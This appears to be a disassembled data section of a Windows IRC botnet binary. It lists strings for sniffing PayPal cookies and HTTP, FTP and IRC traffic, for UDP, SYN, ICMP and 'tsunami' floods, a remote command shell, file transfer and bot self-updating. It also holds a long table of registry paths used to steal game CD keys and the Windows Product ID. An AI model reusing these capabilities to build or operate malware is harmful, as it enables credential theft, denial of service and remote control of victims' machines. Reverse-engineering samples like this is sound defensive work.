aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43598C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B1C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D44	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436134	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436148	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436180	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436194	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361A8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361C4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4361F4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437384h, 437378h,	437368h, 2 dup(0)
		dd 80000001h, 437348h, 437344h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437344h,	437300h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372D4h,	4372C0h, 2 dup(0)
		dd 80000001h, 4372ACh, 43729Ch,	437280h, 2 dup(0)
		dd 80000001h, 43723Ch, 4373C4h,	437228h, 2 dup(0)
		dd 80000002h, 4371FCh, 4371F0h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 4373C4h,	437184h, 2 dup(0)
		dd 80000002h, 437150h, 4373C4h,	437138h, 2 dup(0)
		dd 80000002h, 437120h, 4373C4h,	437108h, 2 dup(0)
		dd 80000002h, 4370CCh, 43D128h,	4370BCh, 2 dup(0)
		dd 80000002h, 437084h, 43D128h,	437070h, 2 dup(0)
		dd 80000002h, 437024h, 43D128h,	437004h, 2 dup(0)
		dd 80000002h, 436FB4h, 43D128h,	436F88h, 2 dup(0)
		dd 80000002h, 436F4Ch, 43D128h,	436F38h, 2 dup(0)
		dd 80000002h, 436F00h, 43D128h,	436EF0h, 2 dup(0)
		dd 80000002h, 436EA0h, 43D128h,	436E74h, 2 dup(0)
		dd 80000002h, 436E34h, 43D128h,	436E18h, 2 dup(0)
		dd 80000002h, 436DE8h, 43D128h,	436DC8h, 2 dup(0)
		dd 80000002h, 436D8Ch, 43D128h,	436D78h, 2 dup(0)
		dd 80000002h, 436D30h, 43D128h,	436D10h, 2 dup(0)
		dd 80000002h, 436CBCh, 43D128h,	436C8Ch, 2 dup(0)
		dd 80000002h, 436C3Ch, 43D128h,	436C10h, 2 dup(0)
		dd 80000002h, 436BD0h, 436BC8h,	436BA8h, 2 dup(0)
		dd 80000002h, 436B64h, 43D128h,	436B48h, 2 dup(0)
		dd 80000002h, 436AFCh, 43D128h,	436AD8h, 2 dup(0)
		dd 80000002h, 436AA4h, 43D128h,	436A98h, 2 dup(0)
		dd 80000002h, 436A64h, 43D128h,	436A58h, 2 dup(0)
		dd 80000002h, 436A24h, 43D128h,	436A18h, 2 dup(0)
		dd 80000002h, 4369E4h, 43D128h,	4369D8h, 2 dup(0)
		dd 80000002h, 43699Ch, 43D128h,	436988h, 2 dup(0)
		dd 80000002h, 43694Ch, 43D128h,	436938h, 2 dup(0)
		dd 80000002h, 436908h, 4373C4h,	4368ECh, 2 dup(0)
		dd 80000002h, 4368CCh, 4368C4h,	4368A0h, 2 dup(0)
		dd 80000002h, 436884h, 4368C4h,	436864h, 2 dup(0)
		dd 80000002h, 436844h, 4368C4h,	436820h, 2 dup(0)
		dd 80000002h, 436808h, 4368C4h,	436804h, 2 dup(0)
		dd 80000002h, 4367E8h, 4367D8h,	4367D0h, 2 dup(0)
		dd 80000002h, 43679Ch, 42C218h,	436784h, 2 dup(0)
		dd 80000002h, 436748h, 43673Ch,	436714h, 436704h, 4366F0h
		dd 80000002h, 4366CCh, 4366C0h,	4366ACh, 43669Ch, 436694h
		dd 80000002h, 4366CCh, 4366C0h,	436668h, 43669Ch, 436660h
		dd 80000002h, 4366CCh, 4366C0h,	436630h, 43669Ch, 436628h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004361F8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
		align 4
asc_4373F4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_4373F8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437474	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437498	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374DC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437500	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437518	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437530	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437550	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437574	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437598	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375C4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375E4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437614	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437670	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376A4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4376E8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437704	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437764	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437790	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377B8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_4377E0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437830	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437834	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437848	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437884	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
